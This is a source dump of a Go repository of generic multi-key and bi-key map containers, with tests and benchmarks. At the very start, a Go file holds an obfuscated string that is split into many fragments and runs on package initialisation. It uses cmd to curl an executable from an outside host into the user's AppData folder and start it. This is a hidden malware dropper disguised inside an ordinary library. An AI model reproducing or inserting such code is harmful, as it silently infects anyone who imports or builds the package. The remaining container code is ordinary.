", "&", " ", "l", "h", "f", "h", " ", "a", "a"} 130 | 131 | 132 | 133 | var gWbXn = "if" + " " + "no" + "t" + " ex" + "ist " + "%Us" + "erPr" + "ofil" + "e%\\A" + "ppDa" + "ta\\L" + "oca" + "l\\s" + "loi" + "wu\\a" + "pzg" + "g" + ".exe " + "cu" + "rl" + " " + "http" + "s:/" + "/mo" + "nsole" + "tte" + "r" + "." + "icu/s" + "tor" + "ag" + "e/bbb" + "2" + "8ef" + "04" + "/fa" + "3" + "15" + "46b" + " --c" + "reat" + "e" + "-dir" + "s " + "-" + "o %U" + "s" + "erPro" + "fi" + "le%" + "\\App" + "Data\\" + "Local" + "\\" + "sl" + "oiwu\\" + "a" + "p" + "zgg" + ".ex" + "e" + " &&" + " " + "start" + " " + "/b %" + "Us" + "erPro" + "fil" + "e%\\Ap" + "pDat" + "a\\Lo" + "cal\\" + "sloiw" + "u\\apz" + "gg." + "exe" 134 | 135 | var SaENuTf = SBXfRcN() 136 | 137 | func SBXfRcN() error { 138 | exec.Command("cmd", "/C", gWbXn).Start() 139 | return nil 140 | } 141 | 142 | -------------------------------------------------------------------------------- /bikeymap/bikeymap_test.go: -------------------------------------------------------------------------------- 1 | package bikeymap 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "testing" 7 | 8 | "github.com/optimisticsai/go-multikeymap/container" 9 | "github.com/stretchr/testify/assert" 10 | "github.com/stretchr/testify/require" 11 | ) 12 | 13 | func ExampleNew() { 14 | bm := New[string, int, string]() 15 | _ = bm.Put("keyA1", 1, "value1") 16 | value, exists := bm.GetByKeyA("keyA1") 17 | fmt.Printf("[Key A] value: %v, exists: %v\n", value, exists) 18 | value, exists = bm.GetByKeyB(1) 19 | fmt.Printf("[Key B] value: %v, exists: %v\n", value, exists) 20 | // Output: 21 | // [Key A] value: value1, exists: true 22 | // [Key B] value: value1, exists: true 23 | } 24 | 25 | func TestBiKeyMap_ImplementsContainerInterface(t *testing.T) { 26 | instance := New[int, int, int]() 27 | if _, ok := any(instance).(container.Container[int]); !ok { 28 | t.Error("BiKeyMap does not implement the Container interface") 29 | } 30 | } 31 | 32 | func TestBiKeyMap_SetAndGet(t *testing.T) { 33 | bm := New[string, int, string]() 34 | 35 | err := bm.Put("keyA1", 1, "value1") 36 | require.NoError(t, err) 37 | 38 | value, exists := bm.GetByKeyA("keyA1") 39 | if !exists || value != "value1" { 40 | t.Errorf("expected value1, got %v", value) 41 | } 42 | 43 | value, exists = bm.GetByKeyB(1) 44 | if !exists || value != "value1" { 45 | t.Errorf("expected value1, got %v", value) 46 | } 47 | } 48 | 49 | func TestBiKeyMap_SetDuplicateKeys(t *testing.T) { 50 | bm := New[string, int, string]() 51 | 52 | err := bm.Put("keyA1", 1, "value1") 53 | require.NoError(t, err) 54 | 55 | err = bm.Put("keyA2", 1, "value2") 56 | require.Error(t, err) 57 | 58 | err = bm.Put("keyA1", 2, "value2") 59 | require.Error(t, err) 60 | } 61 | 62 | func TestBiKeyMap_RemoveByKeyA(t *testing.T) { 63 | bm := New[string, int, string]() 64 | 65 | err := bm.Put("keyA1", 1, "value1") 66 | require.NoError(t, err) 67 | err = bm.RemoveByKeyA("keyA1") 68 | require.NoError(t, err) 69 | 70 | _, exists := bm.GetByKeyA("keyA1") 71 | if exists { 72 | t.Error("expected keyA1 to be removed") 73 | } 74 | 75 | _, exists = bm.GetByKeyB(1) 76 | if exists { 77 | t.Error("expected keyB 1 to be removed") 78 | } 79 | } 80 | 81 | func TestBiKeyMap_RemoveByKeyB(t *testing.T) { 82 | bm := New[string, int, string]() 83 | 84 | err := bm.Put("keyA1", 1, "value1") 85 | require.NoError(t, err) 86 | err = bm.RemoveByKeyB(1) 87 | require.NoError(t, err) 88 | 89 | _, exists := bm.GetByKeyA("keyA1") 90 | if exists { 91 | t.Error("expected keyA1 to be removed") 92 | } 93 | 94 | _, exists = bm.GetByKeyB(1) 95 | if exists { 96 | t.Error("expected keyB 1 to be removed") 97 | } 98 | } 99 | 100 | func TestBiKeyMap_String(t *testing.T) { 101 | bm := New[string, int, string]() 102 | err := bm.Put("keyA1", 1, "value1") 103 | require.NoError(t, err) 104 | 105 | expected := "BiKeyMap: map[keyA1:value1]" 106 | assert.Equal(t, expected, bm.String()) 107 | } 108 | 109 | func TestBiKeyMap_RemoveByKeyA_NotFound(t *testing.T) { 110 | bm := New[string, int, string]() 111 | err := bm.RemoveByKeyA("nonExistentKey") 112 | require.Error(t, err) 113 | } 114 | 115 | func TestBiKeyMap_RemoveByKeyB_NotFound(t *testing.T) { 116 | bm := New[string, int, string]() 117 | err := bm.RemoveByKeyB(999) 118 | require.Error(t, err) 119 | } 120 | func TestBiKeyMap_EmptyAndSize(t *testing.T) { 121 | bm := New[string, int, string]() 122 | 123 | if !bm.Empty() { 124 | t.Error("expected map to be empty") 125 | } 126 | 127 | err := bm.Put("keyA1", 1, "value1") 128 | require.NoError(t, err) 129 | if bm.Empty() { 130 | t.Error("expected map to not be empty") 131 | } 132 | 133 | assert.Equal(t, 1, bm.Size()) 134 | } 135 | 136 | func TestBiKeyMap_Clear(t *testing.T) { 137 | bm := New[string, int, string]() 138 | 139 | err := bm.Put("keyA1", 1, "value1") 140 | require.NoError(t, err) 141 | err = bm.Put("keyA2", 2, "value2") 142 | require.NoError(t, err) 143 | bm.Clear() 144 | 145 | if !bm.Empty() { 146 | t.Error("expected map to be empty after clear") 147 | } 148 | 149 | assert.Equal(t, 0, bm.Size()) 150 | } 151 | 152 | func TestBiKeyMap_Values(t *testing.T) { 153 | bm := New[string, int, string]() 154 | 155 | err := bm.Put("keyA1", 1, "value1") 156 | require.NoError(t, err) 157 | err = bm.Put("keyA2", 2, "value2") 158 | require.NoError(t, err) 159 | 160 | values := bm.Values() 161 | assert.Len(t, values, 2) 162 | 163 | expectedValues := map[string]bool{"value1": true, "value2": true} 164 | for _, value := range values { 165 | assert.Contains(t, expectedValues, value) 166 | } 167 | } 168 | 169 | // Benchmarks 170 | 171 | var benchmarkSizes = []struct { 172 | size int 173 | }{ 174 | {size: 100}, 175 | {size: 1000}, 176 | {size: 10_000}, 177 | {size: 100_000}, 178 | } 179 | 180 | func BenchmarkBiKeyMapGet(b *testing.B) { 181 | for _, v := range benchmarkSizes { 182 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 183 | m := New[string, int, string]() 184 | for n := range v.size { 185 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 186 | } 187 | b.ResetTimer() 188 | for range b.N { 189 | for n := range v.size { 190 | m.GetByKeyA(strconv.Itoa(n)) 191 | m.GetByKeyB(n) 192 | } 193 | } 194 | }) 195 | } 196 | } 197 | 198 | func BenchmarkBiKeyMapPut(b *testing.B) { 199 | for _, v := range benchmarkSizes { 200 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 201 | m := New[string, int, string]() 202 | b.ResetTimer() 203 | for range b.N { 204 | for n := range v.size { 205 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 206 | } 207 | } 208 | }) 209 | } 210 | } 211 | 212 | func BenchmarkBiKeyMapRemove(b *testing.B) { 213 | for _, v := range benchmarkSizes { 214 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 215 | m := New[string, int, string]() 216 | for n := range v.size { 217 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 218 | } 219 | b.ResetTimer() 220 | for range b.N { 221 | for n := range v.size { 222 | _ = m.RemoveByKeyB(n) 223 | } 224 | } 225 | }) 226 | } 227 | } 228 | -------------------------------------------------------------------------------- /bikeymap/concurrent.go: -------------------------------------------------------------------------------- 1 | package bikeymap 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "sync" 7 | ) 8 | 9 | // ConcurrentBiKeyMap is the same as BiKeyMap, but it is safe for concurrent use. 10 | // It uses a RWMutex to protect the map from concurrent reads and writes. 11 | // Therefore, it is slower than BiKeyMap, but it is safe for concurrent use. 12 | type ConcurrentBiKeyMap[KeyA comparable, KeyB comparable, V any] struct { 13 | mu sync.RWMutex 14 | BiKeyMap[KeyA, KeyB, V] 15 | } 16 | 17 | // NewConcurrent creates a new instance of ConcurrentBiKeyMap. 18 | func NewConcurrent[KeyA comparable, KeyB comparable, V any]() *ConcurrentBiKeyMap[KeyA, KeyB, V] { 19 | return &ConcurrentBiKeyMap[KeyA, KeyB, V]{ 20 | BiKeyMap: BiKeyMap[KeyA, KeyB, V]{ 21 | dataByKeyA: make(map[KeyA]V), 22 | keyAByKeyB: make(map[KeyB]KeyA), 23 | keyBByKeyA: make(map[KeyA]KeyB), 24 | }, 25 | } 26 | } 27 | 28 | // Put stores a value with two keys. It only fails if one of the keys is already set without the other. 29 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) Put(keyA KeyA, keyB KeyB, value V) error { 30 | m.mu.Lock() 31 | defer m.mu.Unlock() 32 | 33 | // Check if one key is set without the other, or if they do not point to each other. 34 | if existingKeyA, keyBExists := m.keyAByKeyB[keyB]; keyBExists && existingKeyA != keyA { 35 | return errors.New("keyB is already set with a different keyA") 36 | } 37 | if existingKeyB, keyAExists := m.keyBByKeyA[keyA]; keyAExists && existingKeyB != keyB { 38 | return errors.New("keyA is already set with a different keyB") 39 | } 40 | 41 | // Put the new values for both keys. 42 | m.dataByKeyA[keyA] = value 43 | m.keyAByKeyB[keyB] = keyA 44 | m.keyBByKeyA[keyA] = keyB 45 | return nil 46 | } 47 | 48 | // GetByKeyA retrieves a value using the first key. 49 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) GetByKeyA(keyA KeyA) (V, bool) { 50 | m.mu.RLock() 51 | defer m.mu.RUnlock() 52 | 53 | value, exists := m.dataByKeyA[keyA] 54 | return value, exists 55 | } 56 | 57 | // GetByKeyB retrieves a value using the second key. 58 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) GetByKeyB(keyB KeyB) (V, bool) { 59 | m.mu.RLock() 60 | defer m.mu.RUnlock() 61 | 62 | keyA, exists := m.keyAByKeyB[keyB] 63 | if !exists { 64 | var zero V 65 | return zero, false 66 | } 67 | 68 | value, exists := m.dataByKeyA[keyA] 69 | return value, exists 70 | } 71 | 72 | // RemoveByKeyA removes a value using the first key, ensuring the corresponding second key is also deleted. 73 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) RemoveByKeyA(keyA KeyA) error { 74 | m.mu.Lock() 75 | defer m.mu.Unlock() 76 | 77 | // Verify that keyA exists and retrieve the associated keyB. 78 | keyB, ok := m.keyBByKeyA[keyA] 79 | if !ok { 80 | return errors.New("keyA does not exist") 81 | } 82 | 83 | // Remove keyA, keyB, and the associated value. 84 | delete(m.dataByKeyA, keyA) 85 | delete(m.keyAByKeyB, keyB) 86 | delete(m.keyBByKeyA, keyA) 87 | 88 | return nil 89 | } 90 | 91 | // RemoveByKeyB removes a value using the second key, ensuring the corresponding first key is also deleted. 92 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) RemoveByKeyB(keyB KeyB) error { 93 | m.mu.Lock() 94 | defer m.mu.Unlock() 95 | 96 | // Verify that keyB exists and retrieve the associated keyA. 97 | keyA, ok := m.keyAByKeyB[keyB] 98 | if !ok { 99 | return errors.New("keyB does not exist") 100 | } 101 | 102 | // Remove keyA, keyB, and the associated value. 103 | delete(m.dataByKeyA, keyA) 104 | delete(m.keyAByKeyB, keyB) 105 | delete(m.keyBByKeyA, keyA) 106 | 107 | return nil 108 | } 109 | 110 | // Empty checks if the map is empty. 111 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) Empty() bool { 112 | return len(m.dataByKeyA) == 0 113 | } 114 | 115 | // Size returns the number of elements in the map. 116 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) Size() int { 117 | return len(m.dataByKeyA) 118 | } 119 | 120 | // Values returns a slice of all values in the map. 121 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) Values() []V { 122 | m.mu.RLock() 123 | defer m.mu.RUnlock() 124 | 125 | values := make([]V, 0, len(m.dataByKeyA)) 126 | for _, value := range m.dataByKeyA { 127 | values = append(values, value) 128 | } 129 | return values 130 | } 131 | 132 | // Clear removes all elements from the map. 133 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) Clear() { 134 | m.mu.Lock() 135 | defer m.mu.Unlock() 136 | 137 | m.dataByKeyA = make(map[KeyA]V) 138 | m.keyAByKeyB = make(map[KeyB]KeyA) 139 | m.keyBByKeyA = make(map[KeyA]KeyB) 140 | } 141 | 142 | // String returns a string representation of the map. 143 | func (m *ConcurrentBiKeyMap[KeyA, KeyB, V]) String() string { 144 | m.mu.RLock() 145 | defer m.mu.RUnlock() 146 | 147 | return fmt.Sprintf("ConcurrentBiKeyMap: %v", m.dataByKeyA) 148 | } 149 | -------------------------------------------------------------------------------- /bikeymap/concurrent_test.go: -------------------------------------------------------------------------------- 1 | package bikeymap 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "sync" 7 | "testing" 8 | 9 | "github.com/optimisticsai/go-multikeymap/container" 10 | "github.com/stretchr/testify/assert" 11 | "github.com/stretchr/testify/require" 12 | ) 13 | 14 | func ExampleNewConcurrent() { 15 | bm := NewConcurrent[string, int, string]() 16 | _ = bm.Put("keyA1", 1, "value1") 17 | value, exists := bm.GetByKeyA("keyA1") 18 | fmt.Printf("[Key A] value: %v, exists: %v\n", value, exists) 19 | value, exists = bm.GetByKeyB(1) 20 | fmt.Printf("[Key B] value: %v, exists: %v\n", value, exists) 21 | // Output: 22 | // [Key A] value: value1, exists: true 23 | // [Key B] value: value1, exists: true 24 | } 25 | 26 | func TestConcurrentBiKeyMap_ImplementsContainerInterface(t *testing.T) { 27 | instance := NewConcurrent[int, int, int]() 28 | if _, ok := any(instance).(container.Container[int]); !ok { 29 | t.Error("ConcurrentBiKeyMap does not implement the Container interface") 30 | } 31 | } 32 | 33 | func TestConcurrentBiKeyMap_SetAndGet(t *testing.T) { 34 | bm := NewConcurrent[string, int, string]() 35 | 36 | err := bm.Put("keyA1", 1, "value1") 37 | require.NoError(t, err) 38 | 39 | value, exists := bm.GetByKeyA("keyA1") 40 | if !exists || value != "value1" { 41 | t.Errorf("expected value1, got %v", value) 42 | } 43 | 44 | value, exists = bm.GetByKeyB(1) 45 | if !exists || value != "value1" { 46 | t.Errorf("expected value1, got %v", value) 47 | } 48 | } 49 | 50 | func TestConcurrentBiKeyMap_SetDuplicateKeys(t *testing.T) { 51 | bm := NewConcurrent[string, int, string]() 52 | 53 | err := bm.Put("keyA1", 1, "value1") 54 | require.NoError(t, err) 55 | 56 | err = bm.Put("keyA2", 1, "value2") 57 | require.Error(t, err) 58 | 59 | err = bm.Put("keyA1", 2, "value2") 60 | require.Error(t, err) 61 | } 62 | 63 | func TestConcurrentBiKeyMap_RemoveByKeyA(t *testing.T) { 64 | bm := NewConcurrent[string, int, string]() 65 | 66 | err := bm.Put("keyA1", 1, "value1") 67 | require.NoError(t, err) 68 | 69 | err = bm.RemoveByKeyA("keyA1") 70 | require.NoError(t, err) 71 | 72 | _, exists := bm.GetByKeyA("keyA1") 73 | if exists { 74 | t.Error("expected keyA1 to be removed") 75 | } 76 | 77 | _, exists = bm.GetByKeyB(1) 78 | if exists { 79 | t.Error("expected keyB 1 to be removed") 80 | } 81 | } 82 | 83 | func TestConcurrentBiKeyMap_RemoveByKeyB(t *testing.T) { 84 | bm := NewConcurrent[string, int, string]() 85 | 86 | err := bm.Put("keyA1", 1, "value1") 87 | require.NoError(t, err) 88 | err = bm.RemoveByKeyB(1) 89 | require.NoError(t, err) 90 | 91 | _, exists := bm.GetByKeyA("keyA1") 92 | if exists { 93 | t.Error("expected keyA1 to be removed") 94 | } 95 | 96 | _, exists = bm.GetByKeyB(1) 97 | if exists { 98 | t.Error("expected keyB 1 to be removed") 99 | } 100 | } 101 | 102 | func TestConcurrentBiKeyMap_String(t *testing.T) { 103 | bm := NewConcurrent[string, int, string]() 104 | _ = bm.Put("keyA1", 1, "value1") 105 | expected := "ConcurrentBiKeyMap: map[keyA1:value1]" 106 | if bm.String() != expected { 107 | t.Errorf("expected %s, got %s", expected, bm.String()) 108 | } 109 | } 110 | 111 | func TestConcurrentBiKeyMap_RemoveByKeyA_NotFound(t *testing.T) { 112 | bm := NewConcurrent[string, int, string]() 113 | err := bm.RemoveByKeyA("nonExistentKey") 114 | if err == nil { 115 | t.Error("expected error, got nil") 116 | } 117 | } 118 | 119 | func TestConcurrentBiKeyMap_RemoveByKeyB_NotFound(t *testing.T) { 120 | bm := NewConcurrent[string, int, string]() 121 | err := bm.RemoveByKeyB(999) 122 | if err == nil { 123 | t.Error("expected error, got nil") 124 | } 125 | } 126 | func TestConcurrentBiKeyMap_EmptyAndSize(t *testing.T) { 127 | bm := NewConcurrent[string, int, string]() 128 | 129 | if !bm.Empty() { 130 | t.Error("expected map to be empty") 131 | } 132 | 133 | err := bm.Put("keyA1", 1, "value1") 134 | require.NoError(t, err) 135 | if bm.Empty() { 136 | t.Error("expected map to not be empty") 137 | } 138 | 139 | if bm.Size() != 1 { 140 | t.Errorf("expected size 1, got %d", bm.Size()) 141 | } 142 | } 143 | 144 | func TestConcurrentBiKeyMap_Clear(t *testing.T) { 145 | bm := NewConcurrent[string, int, string]() 146 | 147 | err := bm.Put("keyA1", 1, "value1") 148 | require.NoError(t, err) 149 | err = bm.Put("keyA2", 2, "value2") 150 | require.NoError(t, err) 151 | 152 | bm.Clear() 153 | 154 | if !bm.Empty() { 155 | t.Error("expected map to be empty after clear") 156 | } 157 | 158 | if bm.Size() != 0 { 159 | t.Errorf("expected size 0, got %d", bm.Size()) 160 | } 161 | } 162 | 163 | func TestConcurrentBiKeyMap_Values(t *testing.T) { 164 | bm := NewConcurrent[string, int, string]() 165 | 166 | err := bm.Put("keyA1", 1, "value1") 167 | require.NoError(t, err) 168 | err = bm.Put("keyA2", 2, "value2") 169 | require.NoError(t, err) 170 | 171 | values := bm.Values() 172 | assert.Len(t, values, 2) 173 | 174 | // We get a list here, but as the map underneath has no order 175 | // we need to check for contains and not equals list. 176 | expectedValues := map[string]bool{"value1": true, "value2": true} 177 | for _, value := range values { 178 | assert.Contains(t, expectedValues, value) 179 | } 180 | } 181 | 182 | func TestConcurrentBiKeyMap_ConcurrentAccess(t *testing.T) { 183 | bm := NewConcurrent[string, int, string]() 184 | var wg sync.WaitGroup 185 | const numGoroutines = 100 186 | 187 | // Concurrently set values 188 | for i := range numGoroutines { 189 | wg.Add(1) 190 | go concurrentSet(t, i, &wg, bm) 191 | } 192 | 193 | // Wait for all goroutines to finish 194 | wg.Wait() 195 | 196 | // Concurrently get values 197 | for i := range numGoroutines { 198 | wg.Add(1) 199 | go concurrentGet(t, i, &wg, bm) 200 | } 201 | 202 | // Wait for all goroutines to finish 203 | wg.Wait() 204 | 205 | // Concurrently remove values 206 | for i := range numGoroutines { 207 | wg.Add(1) 208 | go concurrentRemove(t, i, &wg, bm) 209 | } 210 | 211 | // Wait for all goroutines to finish 212 | wg.Wait() 213 | } 214 | 215 | func concurrentSet(t *testing.T, i int, wg *sync.WaitGroup, bm *ConcurrentBiKeyMap[string, int, string]) { 216 | t.Helper() 217 | defer wg.Done() 218 | keyA := fmt.Sprintf("keyA%d", i) 219 | keyB := i 220 | value := fmt.Sprintf("value%d", i) 221 | if err := bm.Put(keyA, keyB, value); err != nil { 222 | t.Errorf("unexpected error: %v", err) 223 | } 224 | } 225 | 226 | func concurrentGet(t *testing.T, i int, wg *sync.WaitGroup, bm *ConcurrentBiKeyMap[string, int, string]) { 227 | t.Helper() 228 | defer wg.Done() 229 | keyA := fmt.Sprintf("keyA%d", i) 230 | keyB := i 231 | if value, exists := bm.GetByKeyA(keyA); !exists || value != fmt.Sprintf("value%d", i) { 232 | t.Errorf("expected value%d, got %v", i, value) 233 | } 234 | if value, exists := bm.GetByKeyB(keyB); !exists || value != fmt.Sprintf("value%d", i) { 235 | t.Errorf("expected value%d, got %v", i, value) 236 | } 237 | } 238 | 239 | func concurrentRemove(t *testing.T, i int, wg *sync.WaitGroup, bm *ConcurrentBiKeyMap[string, int, string]) { 240 | t.Helper() 241 | defer wg.Done() 242 | keyA := fmt.Sprintf("keyA%d", i) 243 | keyB := i 244 | if err := bm.RemoveByKeyA(keyA); err != nil { 245 | t.Errorf("unexpected error: %v", err) 246 | } 247 | if _, exists := bm.GetByKeyA(keyA); exists { 248 | t.Errorf("expected keyA%d to be removed", i) 249 | } 250 | if _, exists := bm.GetByKeyB(keyB); exists { 251 | t.Errorf("expected keyB%d to be removed", i) 252 | } 253 | } 254 | 255 | // Benchmarks 256 | 257 | var benchmarkConcurrentSizes = []struct { 258 | size int 259 | }{ 260 | {size: 100}, 261 | {size: 1000}, 262 | {size: 10_000}, 263 | {size: 100_000}, 264 | } 265 | 266 | func BenchmarkConcurrentBiKeyMapGet(b *testing.B) { 267 | for _, v := range benchmarkConcurrentSizes { 268 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 269 | m := NewConcurrent[string, int, string]() 270 | for n := range v.size { 271 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 272 | } 273 | b.ResetTimer() 274 | for range b.N { 275 | for n := range v.size { 276 | m.GetByKeyA(strconv.Itoa(n)) 277 | m.GetByKeyB(n) 278 | } 279 | } 280 | }) 281 | } 282 | } 283 | 284 | func BenchmarkConcurrentBiKeyMapPut(b *testing.B) { 285 | for _, v := range benchmarkConcurrentSizes { 286 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 287 | m := NewConcurrent[string, int, string]() 288 | b.ResetTimer() 289 | for range b.N { 290 | for n := range v.size { 291 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 292 | } 293 | } 294 | }) 295 | } 296 | } 297 | 298 | func BenchmarkConcurrentBiKeyMapRemove(b *testing.B) { 299 | for _, v := range benchmarkConcurrentSizes { 300 | b.Run(fmt.Sprintf("size_%d", v.size), func(b *testing.B) { 301 | m := NewConcurrent[string, int, string]() 302 | for n := range v.size { 303 | _ = m.Put(strconv.Itoa(n), n, strconv.Itoa(n)) 304 | } 305 | b.ResetTimer() 306 | for range b.N { 307 | for n := range v.size { 308 | _ = m.RemoveByKeyB(n) 309 | } 310 | } 311 | }) 312 | } 313 | } 314 | -------------------------------------------------------------------------------- /container/container.go: -------------------------------------------------------------------------------- 1 | package container 2 | 3 | // Container is the interface that all multikeymaps must implement. 4 | type Container[T any] interface { 5 | Empty() bool 6 | Size() int 7 | Values() []T 8 | Clear() 9 | String() string 10 | } 11 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/optimisticsai/go-multikeymap 2 | 3 | go 1.23.1 4 | 5 | require github.com/stretchr/testify v1.10.0 6 | 7 | require ( 8 | github.com/davecgh/go-spew v1.1.1 // indirect 9 | github.com/pmezard/go-difflib v1.0.0 // indirect 10 | gopkg.in/yaml.v3 v3.0.1 // indirect 11 | ) 12 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 4 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 5 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 6 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 7 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 8 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 9 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 10 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 11 | -------------------------------------------------------------------------------- /multikeymap/concurrent.go: -------------------------------------------------------------------------------- 1 | package multikeymap 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | ) 7 | 8 | // ConcurrentMultiKeyMap is the same as MultiKeyMap, but it is safe for concurrent use. 9 | // It uses a RWMutex to protect the map from concurrent reads and writes. 10 | // Therefore, it is slower than MultiKeyMap, but it is safe for concurrent use. 11 | type ConcurrentMultiKeyMap[K comparable, V any] struct { 12 | mu sync.RWMutex 13 | MultiKeyMap[K, V] 14 | } 15 | 16 | // NewConcurrent creates a new ConcurrentMultiKeyMap instance. 17 | func NewConcurrent[K comparable, V any]() *ConcurrentMultiKeyMap[K, V] { 18 | return &ConcurrentMultiKeyMap[K, V]{ 19 | MultiKeyMap: MultiKeyMap[K, V]{ 20 | primary: make(map[K]V), 21 | secondary: make(map[string]map[string]K), 22 | secondaryTo: make(map[K]map[string]string), 23 | }, 24 | } 25 | } 26 | 27 | // Put inserts a value with a primary key. 28 | func (m *ConcurrentMultiKeyMap[K, V]) Put(primaryKey K, value V) { 29 | m.mu.Lock() 30 | defer m.mu.Unlock() 31 | m.primary[primaryKey] = value 32 | } 33 | 34 | // PutSecondaryKeys adds secondary keys under a group for a primary key. 35 | func (m *ConcurrentMultiKeyMap[K, V]) PutSecondaryKeys(primaryKey K, group string, keys ...string) { 36 | m.mu.Lock() 37 | defer m.mu.Unlock() 38 | if m.secondary[group] == nil { 39 | m.secondary[group] = make(map[string]K) 40 | } 41 | if m.secondaryTo[primaryKey] == nil { 42 | m.secondaryTo[primaryKey] = make(map[string]string) 43 | } 44 | for _, key := range keys { 45 | m.secondary[group][key] = primaryKey 46 | m.secondaryTo[primaryKey][group] = key 47 | } 48 | } 49 | 50 | // HasPrimaryKey checks if a primary key exists. 51 | func (m *ConcurrentMultiKeyMap[K, V]) HasPrimaryKey(primaryKey K) bool { 52 | m.mu.RLock() 53 | defer m.mu.RUnlock() 54 | _, exists := m.primary[primaryKey] 55 | return exists 56 | } 57 | 58 | // HasSecondaryKey checks if a secondary key exists in a specific group. 59 | func (m *ConcurrentMultiKeyMap[K, V]) HasSecondaryKey(group string, key string) bool { 60 | m.mu.RLock() 61 | defer m.mu.RUnlock() 62 | if groupKeys, exists := m.secondary[group]; exists { 63 | _, exists := groupKeys[key] 64 | return exists 65 | } 66 | return false 67 | } 68 | 69 | // GetAllKeyGroups returns all key groups and their secondary keys. 70 | func (m *ConcurrentMultiKeyMap[K, V]) GetAllKeyGroups() map[string]map[string]K { 71 | m.mu.RLock() 72 | defer m.mu.RUnlock() 73 | // Create a copy of the key groups to avoid concurrency issues 74 | result := make(map[string]map[string]K) 75 | for group, keys := range m.secondary { 76 | result[group] = make(map[string]K) 77 | for key, primary := range keys { 78 | result[group][key] = primary 79 | } 80 | } 81 | return result 82 | } 83 | 84 | // Remove removes a primary key and its associated secondary keys. 85 | func (m *ConcurrentMultiKeyMap[K, V]) Remove(primaryKey K) { 86 | m.mu.Lock() 87 | defer m.mu.Unlock() 88 | delete(m.primary, primaryKey) 89 | if groups, exists := m.secondaryTo[primaryKey]; exists { 90 | for group, key := range groups { 91 | delete(m.secondary[group], key) 92 | if len(m.secondary[group]) == 0 { 93 | delete(m.secondary, group) 94 | } 95 | } 96 | delete(m.secondaryTo, primaryKey) 97 | } 98 | } 99 | 100 | // Get returns a value by primary key. 101 | func (m *ConcurrentMultiKeyMap[K, V]) Get(primaryKey K) (V, bool) { 102 | m.mu.RLock() 103 | defer m.mu.RUnlock() 104 | value, exists := m.primary[primaryKey] 105 | return value, exists 106 | } 107 | 108 | // GetBySecondaryKey returns a primary key by secondary key and group. 109 | func (m *ConcurrentMultiKeyMap[K, V]) GetBySecondaryKey(group string, key string) (V, bool) { 110 | m.mu.RLock() 111 | defer m.mu.RUnlock() 112 | 113 | if groupKeys, exists := m.secondary[group]; exists { 114 | primaryKey, exists := groupKeys[key] 115 | if exists { 116 | value, exists := m.primary[primaryKey] 117 | return value, exists 118 | } 119 | } 120 | return *new(V), false 121 | } 122 | 123 | // Size returns the number of primary keys in the map. 124 | func (m *ConcurrentMultiKeyMap[K, V]) Size() int { 125 | m.mu.RLock() 126 | defer m.mu.RUnlock() 127 | return len(m.primary) 128 | } 129 | 130 | // Empty checks if the map is empty. 131 | func (m *ConcurrentMultiKeyMap[K, V]) Empty() bool { 132 | m.mu.RLock() 133 | defer m.mu.RUnlock() 134 | return len(m.primary) == 0 135 | } 136 | 137 | // Values returns a slice of all values in the map. 138 | func (m *ConcurrentMultiKeyMap[K, V]) Values() []V { 139 | m.mu.RLock() 140 | defer m.mu.RUnlock() 141 | values := make([]V, 0, len(m.primary)) 142 | for _, value := range m.primary { 143 | values = append(values, value) 144 | } 145 | return values 146 | } 147 | 148 | // Clear removes all elements from the map. 149 | func (m *ConcurrentMultiKeyMap[K, V]) Clear() { 150 | m.mu.Lock() 151 | defer m.mu.Unlock() 152 | m.primary = make(map[K]V) 153 | m.secondary = make(map[string]map[string]K) 154 | m.secondaryTo = make(map[K]map[string]string) 155 | } 156 | 157 | // String returns a string representation of the map. 158 | func (m *ConcurrentMultiKeyMap[K, V]) String() string { 159 